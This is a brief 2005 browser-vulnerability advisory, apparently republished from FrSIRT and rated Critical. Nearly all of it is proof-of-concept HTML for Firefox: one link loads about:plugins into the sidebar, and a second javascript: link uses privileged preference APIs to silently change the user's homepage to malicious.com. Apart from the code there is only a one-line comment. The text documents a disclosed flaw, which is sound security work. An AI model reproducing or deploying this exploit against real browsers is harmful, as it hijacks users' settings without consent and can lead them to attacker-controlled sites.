Rated as : Critical
// FrSIRT Comment : If a user clicks on a link, this code will load
"about:plugins"
// into Firefox sidebar panel and will overwrite
"browser.startup.homepage",
// which will change the homepage to malicious.com
<a href="about:plugins" target="_search">Click
Here First</a><br>
<a href="javascript: var prefs =
Components.classes['@mozilla.org/preferences-service;1']
.getService(Components.interfaces.nsIPrefBranch);
prefs.setCharPref('browser.startup.homepage',
'http://www.malicious.com/');" target="_search">Next,
Click Here</a></p>
securitydot.net - 2005-04-16
|
